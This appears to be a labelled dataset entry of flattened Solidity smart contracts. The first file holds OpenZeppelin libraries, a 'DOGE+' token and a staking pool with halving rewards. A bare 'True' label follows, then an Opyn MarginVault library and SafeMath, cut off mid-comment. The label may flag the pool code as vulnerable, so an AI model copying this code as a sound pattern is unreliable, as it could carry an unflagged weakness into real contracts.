/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/Token.sol
pragma solidity 0.6.12;
contract Token is ERC20("DOGE+", "DOGE+"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner(=Pool)
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
}
// File: contracts/Pool.sol
pragma solidity 0.6.12;
contract Pool is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct UserInfo {
uint256 amount;
uint256 rewardDebt;
}
struct PoolInfo {
IERC20 token;
uint256 startBlock;
uint256 endBlock;
uint256 rewardPerBlock;
uint256 halvingPeriod;
uint256 halving1Block;
uint256 halving2Block;
uint256 halving3Block;
uint256 lastRewardBlock;
uint256 accRewardPerShare;
}
Token public rewardToken;
PoolInfo[] public pools;
mapping (uint256 => mapping (address => UserInfo)) public users;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(Token _token) public {
rewardToken = _token;
}
modifier checkPool(uint256 _pid) {
require(address(pools[_pid].token) != address(0), "pool not exist");
_;
}
function poolLength() external view returns (uint256) {
return pools.length;
}
function addPool(IERC20 _token, uint256 _startBlock, uint256 _endBlock, uint256 _rewardPerBlock, uint256 _halvingPeriod) public onlyOwner {
for (uint i = 0; i < pools.length; ++i) {
require(address(pools[i].token) != address(_token), "pool already exist");
}
uint256 lastRewardBlock = block.number > _startBlock ? block.number : _startBlock;
pools.push(PoolInfo({
token: _token,
startBlock: _startBlock,
endBlock: _endBlock,
rewardPerBlock: _rewardPerBlock,
halvingPeriod: _halvingPeriod,
halving1Block: _startBlock.add(_halvingPeriod),
halving2Block: _startBlock.add(_halvingPeriod.mul(2)),
halving3Block: _startBlock.add(_halvingPeriod.mul(3)),
lastRewardBlock: lastRewardBlock,
accRewardPerShare: 0
}));
}
function getTotalReward(PoolInfo storage pool) internal view returns (uint256 reward) {
if (block.number <= pool.lastRewardBlock) {
return 0;
}
uint256 from = pool.lastRewardBlock;
uint256 to = block.number < pool.endBlock.add(1) ? block.number : pool.endBlock.add(1);
uint256 multiplier = to.sub(from);
if (pool.halvingPeriod == 0) {
return multiplier.mul(pool.rewardPerBlock);
}
if (from < pool.halving1Block) {
if (to <= pool.halving1Block) {
multiplier = multiplier.add(to.sub(from).mul(7));
return multiplier.mul(pool.rewardPerBlock);
}
multiplier = multiplier.add(pool.halving1Block.sub(from).mul(7));
from = pool.halving1Block;
}
if (from < pool.halving2Block) {
if (to <= pool.halving2Block) {
multiplier = multiplier.add(to.sub(from).mul(3));
return multiplier.mul(pool.rewardPerBlock);
}
multiplier = multiplier.add(pool.halving2Block.sub(from).mul(3));
from = pool.halving2Block;
}
if (from < pool.halving3Block) {
if (to <= pool.halving3Block) {
multiplier = multiplier.add(to.sub(from));
return multiplier.mul(pool.rewardPerBlock);
}
multiplier = multiplier.add(pool.halving3Block.sub(from));
}
return multiplier.mul(pool.rewardPerBlock);
}
function updatePool(uint256 _pid) public checkPool(_pid) {
PoolInfo storage pool = pools[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 totalStake = pool.token.balanceOf(address(this));
if (totalStake == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 reward = getTotalReward(pool);
rewardToken.mint(address(this), reward);
pool.accRewardPerShare = pool.accRewardPerShare.add(reward.mul(1e12).div(totalStake));
pool.lastRewardBlock = block.number;
}
function pending(uint256 _pid, address _user) external view checkPool(_pid) returns (uint256) {
PoolInfo storage pool = pools[_pid];
UserInfo storage user = users[_pid][_user];
uint256 accRewardPerShare = pool.accRewardPerShare;
uint256 totalStake = pool.token.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && totalStake > 0) {
uint256 reward = getTotalReward(pool);
accRewardPerShare = accRewardPerShare.add(reward.mul(1e12).div(totalStake));
}
return user.amount.mul(accRewardPerShare).div(1e12).sub(user.rewardDebt);
}
function deposit(uint256 _pid, uint256 _amount) public checkPool(_pid) {
PoolInfo storage pool = pools[_pid];
UserInfo storage user = users[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pendingReward = user.amount.mul(pool.accRewardPerShare).div(1e12).sub(user.rewardDebt);
if (pendingReward > 0) {
safeRewardTransfer(msg.sender, pendingReward);
}
}
pool.token.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accRewardPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
function withdraw(uint256 _pid, uint256 _amount) public checkPool(_pid) {
PoolInfo storage pool = pools[_pid];
UserInfo storage user = users[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: insufficient balance");
updatePool(_pid);
uint256 pendingReward = user.amount.mul(pool.accRewardPerShare).div(1e12).sub(user.rewardDebt);
if (pendingReward > 0) {
safeRewardTransfer(msg.sender, pendingReward);
}
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accRewardPerShare).div(1e12);
pool.token.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
function safeRewardTransfer(address _to, uint256 _amount) internal {
uint256 balance = rewardToken.balanceOf(address(this));
if (_amount > balance) {
rewardToken.transfer(_to, balance);
} else {
rewardToken.transfer(_to, _amount);
}
}
}
|
True
|
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/**
* SPDX-License-Identifier: UNLICENSED
*/
pragma solidity =0.6.10;
pragma experimental ABIEncoderV2;
import {SafeMath} from "../packages/oz/SafeMath.sol";
/**
* @title MarginVault
* @author Opyn Team
* @notice A library that provides the Controller with a Vault struct and the functions that manipulate vaults.
* Vaults describe discrete position combinations of long options, short options, and collateral assets that a user can have.
*/
library MarginVault {
using SafeMath for uint256;
// vault is a struct of 6 arrays that describe a position a user has, a user can have multiple vaults.
struct Vault {
// addresses of oTokens a user has shorted (i.e. written) against this vault
address[] shortOtokens;
// addresses of oTokens a user has bought and deposited in this vault
// user can be long oTokens without opening a vault (e.g. by buying on a DEX)
// generally, long oTokens will be 'deposited' in vaults to act as collateral in order to write oTokens against (i.e. in spreads)
address[] longOtokens;
// addresses of other ERC-20s a user has deposited as collateral in this vault
address[] collateralAssets;
// quantity of oTokens minted/written for each oToken address in shortOtokens
uint256[] shortAmounts;
// quantity of oTokens owned and held in the vault for each oToken address in longOtokens
uint256[] longAmounts;
// quantity of ERC-20 deposited as collateral in the vault for each ERC-20 address in collateralAssets
uint256[] collateralAmounts;
}
/**
* @dev increase the short oToken balance in a vault when a new oToken is minted
* @param _vault vault to add or increase the short position in
* @param _shortOtoken address of the _shortOtoken being minted from the user's vault
* @param _amount number of _shortOtoken being minted from the user's vault
* @param _index index of _shortOtoken in the user's vault.shortOtokens array
*/
function addShort(
Vault storage _vault,
address _shortOtoken,
uint256 _amount,
uint256 _index
) external {
require(_amount > 0, "MarginVault: invalid short otoken amount");
// valid indexes in any array are between 0 and array.length - 1.
// if adding an amount to an preexisting short oToken, check that _index is in the range of 0->length-1
if ((_index == _vault.shortOtokens.length) && (_index == _vault.shortAmounts.length)) {
_vault.shortOtokens.push(_shortOtoken);
_vault.shortAmounts.push(_amount);
} else {
require(
(_index < _vault.shortOtokens.length) && (_index < _vault.shortAmounts.length),
"MarginVault: invalid short otoken index"
);
require(
(_vault.shortOtokens[_index] == _shortOtoken) || (_vault.shortOtokens[_index] == address(0)),
"MarginVault: short otoken address mismatch"
);
_vault.shortAmounts[_index] = _vault.shortAmounts[_index].add(_amount);
_vault.shortOtokens[_index] = _shortOtoken;
}
}
/**
* @dev decrease the short oToken balance in a vault when an oToken is burned
* @param _vault vault to decrease short position in
* @param _shortOtoken address of the _shortOtoken being reduced in the user's vault
* @param _amount number of _shortOtoken being reduced in the user's vault
* @param _index index of _shortOtoken in the user's vault.shortOtokens array
*/
function removeShort(
Vault storage _vault,
address _shortOtoken,
uint256 _amount,
uint256 _index
) external {
// check that the removed short oToken exists in the vault at the specified index
require(_index < _vault.shortOtokens.length, "MarginVault: invalid short otoken index");
require(_vault.shortOtokens[_index] == _shortOtoken, "MarginVault: short otoken address mismatch");
_vault.shortAmounts[_index] = _vault.shortAmounts[_index].sub(_amount);
if (_vault.shortAmounts[_index] == 0) {
delete _vault.shortOtokens[_index];
}
}
/**
* @dev increase the long oToken balance in a vault when an oToken is deposited
* @param _vault vault to add a long position to
* @param _longOtoken address of the _longOtoken being added to the user's vault
* @param _amount number of _longOtoken the protocol is adding to the user's vault
* @param _index index of _longOtoken in the user's vault.longOtokens array
*/
function addLong(
Vault storage _vault,
address _longOtoken,
uint256 _amount,
uint256 _index
) external {
require(_amount > 0, "MarginVault: invalid long otoken amount");
// valid indexes in any array are between 0 and array.length - 1.
// if adding an amount to an preexisting short oToken, check that _index is in the range of 0->length-1
if ((_index == _vault.longOtokens.length) && (_index == _vault.longAmounts.length)) {
_vault.longOtokens.push(_longOtoken);
_vault.longAmounts.push(_amount);
} else {
require(
(_index < _vault.longOtokens.length) && (_index < _vault.longAmounts.length),
"MarginVault: invalid long otoken index"
);
require(
(_vault.longOtokens[_index] == _longOtoken) || (_vault.longOtokens[_index] == address(0)),
"MarginVault: long otoken address mismatch"
);
_vault.longAmounts[_index] = _vault.longAmounts[_index].add(_amount);
_vault.longOtokens[_index] = _longOtoken;
}
}
/**
* @dev decrease the long oToken balance in a vault when an oToken is withdrawn
* @param _vault vault to remove a long position from
* @param _longOtoken address of the _longOtoken being removed from the user's vault
* @param _amount number of _longOtoken the protocol is removing from the user's vault
* @param _index index of _longOtoken in the user's vault.longOtokens array
*/
function removeLong(
Vault storage _vault,
address _longOtoken,
uint256 _amount,
uint256 _index
) external {
// check that the removed long oToken exists in the vault at the specified index
require(_index < _vault.longOtokens.length, "MarginVault: invalid long otoken index");
require(_vault.longOtokens[_index] == _longOtoken, "MarginVault: long otoken address mismatch");
_vault.longAmounts[_index] = _vault.longAmounts[_index].sub(_amount);
if (_vault.longAmounts[_index] == 0) {
delete _vault.longOtokens[_index];
}
}
/**
* @dev increase the collateral balance in a vault
* @param _vault vault to add collateral to
* @param _collateralAsset address of the _collateralAsset being added to the user's vault
* @param _amount number of _collateralAsset being added to the user's vault
* @param _index index of _collateralAsset in the user's vault.collateralAssets array
*/
function addCollateral(
Vault storage _vault,
address _collateralAsset,
uint256 _amount,
uint256 _index
) external {
require(_amount > 0, "MarginVault: invalid collateral amount");
// valid indexes in any array are between 0 and array.length - 1.
// if adding an amount to an preexisting short oToken, check that _index is in the range of 0->length-1
if ((_index == _vault.collateralAssets.length) && (_index == _vault.collateralAmounts.length)) {
_vault.collateralAssets.push(_collateralAsset);
_vault.collateralAmounts.push(_amount);
} else {
require(
(_index < _vault.collateralAssets.length) && (_index < _vault.collateralAmounts.length),
"MarginVault: invalid collateral token index"
);
require(
(_vault.collateralAssets[_index] == _collateralAsset) ||
(_vault.collateralAssets[_index] == address(0)),
"MarginVault: collateral token address mismatch"
);
_vault.collateralAmounts[_index] = _vault.collateralAmounts[_index].add(_amount);
_vault.collateralAssets[_index] = _collateralAsset;
}
}
/**
* @dev decrease the collateral balance in a vault
* @param _vault vault to remove collateral from
* @param _collateralAsset address of the _collateralAsset being removed from the user's vault
* @param _amount number of _collateralAsset being removed from the user's vault
* @param _index index of _collateralAsset in the user's vault.collateralAssets array
*/
function removeCollateral(
Vault storage _vault,
address _collateralAsset,
uint256 _amount,
uint256 _index
) external {
// check that the removed collateral exists in the vault at the specified index
require(_index < _vault.collateralAssets.length, "MarginVault: invalid collateral asset index");
require(_vault.collateralAssets[_index] == _collateralAsset, "MarginVault: collateral token address mismatch");
_vault.collateralAmounts[_index] = _vault.collateralAmounts[_index].sub(_amount);
if (_vault.collateralAmounts[_index] == 0) {
delete _vault.collateralAssets[_index];
}
}
}
// SPDX-License-Identifier: MIT
/* solhint-disable */
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
